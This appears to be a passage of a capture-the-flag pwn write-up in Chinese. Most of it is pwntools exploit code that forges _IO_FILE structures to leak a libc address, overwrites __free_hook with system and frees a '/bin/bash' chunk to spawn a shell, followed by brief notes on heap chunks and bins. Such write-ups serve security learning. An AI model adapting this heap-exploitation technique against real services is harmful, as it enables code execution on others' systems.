# # 算出 user2->data->_IO_buf_base (unsotred bin)和 user0的 offset
show()
a = p.recvuntil(b'show_users').split()
print(a)
user0 = a[3].ljust(8, b'\x00')
addrToMAIN = u64(user0)+0x2700+0x10 #0x10 is header
user0 = u64(user0)
print(hex((user0)))
print(hex(addrToMAIN))

#free user2->data->_IO_buf_base to unsotred bin
delUser('2')


#read 
_flags = 0xfbad0800
_IO_read_ptr = 0 
_IO_read_end = addrToMAIN 
_IO_read_base = 0 
_IO_write_base = addrToMAIN 
_IO_write_ptr = addrToMAIN+8
_IO_write_end = 0 
_IO_buf_base = 0 
_IO_buf_end = 0
_IO_save_base = 0x0
_IO_backup_base = 0x0
_IO_save_end = 0x0
_markers = 0x0
_chain = 0x1555555105c0
_fileno = 1
payload = p64(_flags)+ p64(_IO_read_ptr)+ p64(_IO_read_end)+ p64(_IO_read_base)+ p64(_IO_write_base)+ p64(_IO_write_ptr)+ p64(_IO_write_end)+ p64(_IO_buf_base)+ p64(_IO_buf_end)+ p64(_IO_save_base)+ p64(_IO_backup_base)+ p64(_IO_save_end)+ p64(_markers)+ p64(_chain)+ p64(_fileno)

editUser(b'2', b'464', payload) # set user2
r = p.recv(20)
print(r)
main_arena = u64(r[0:8].ljust(8, b'\x00'))
print(hex(main_arena))


# libc = main_arena - 0x1BCBE0
libc = main_arena - 0x1ECBE0
system = libc + 0x52290
free_hook = libc + 0x1eee48
print(f"libc :{hex(libc)}     system:{hex(system)}")
print(f"free :{hex(free_hook)}  ")



_flags = 0xfbad2c80
_IO_read_ptr = free_hook
_IO_read_end = free_hook
_IO_read_base = free_hook
_IO_write_base = free_hook
_IO_write_ptr = free_hook
_IO_write_end = free_hook+8
_IO_buf_base = free_hook
_IO_buf_end = free_hook+8
_IO_save_base = 0x0
_IO_backup_base = 0x0
_IO_save_end = 0x0
payload = p64(_flags)+ p64(_IO_read_ptr)+ p64(_IO_read_end)+ p64(_IO_read_base)+ p64(_IO_write_base)+ p64(_IO_write_ptr)+ p64(_IO_write_end)+ p64(_IO_buf_base)+ p64(_IO_buf_end)+ p64(_IO_save_base)+ p64(_IO_backup_base)+ p64(_IO_save_end)+ p64(_markers)+ p64(_chain)+ p64(_fileno)


addUser(b'3', b'/bin/bash\x00')

editUser(b'0', b'464', payload) # set user1 fp

payload = p64(system)
editUser(b'1', b'8', payload) # set user1


delUser(b'3')


p.interactive()
```


flag :

![](https://i.imgur.com/O0Qsfax.png)


## note

Chunk 為動態記憶體分配的基本單位,最小為 0x20 bytes，metadate 0x10bytes

使⽤者透過 malloc 取得的⼩塊記憶體 - chunk

⽤來分發這些⼩塊記憶體的⼤塊記憶體 - heap

⽤來儲存⼤塊記憶體的相關資訊的資料結構 - arena

bin
- tchche bin
- fastbin
- 
![](https://i.imgur.com/Q8AlMGP.png)


## 跨謀    

![](https://i.imgur.com/zw8WcPW.png)

![](https://i.imgur.com/CoBKUVp.png)


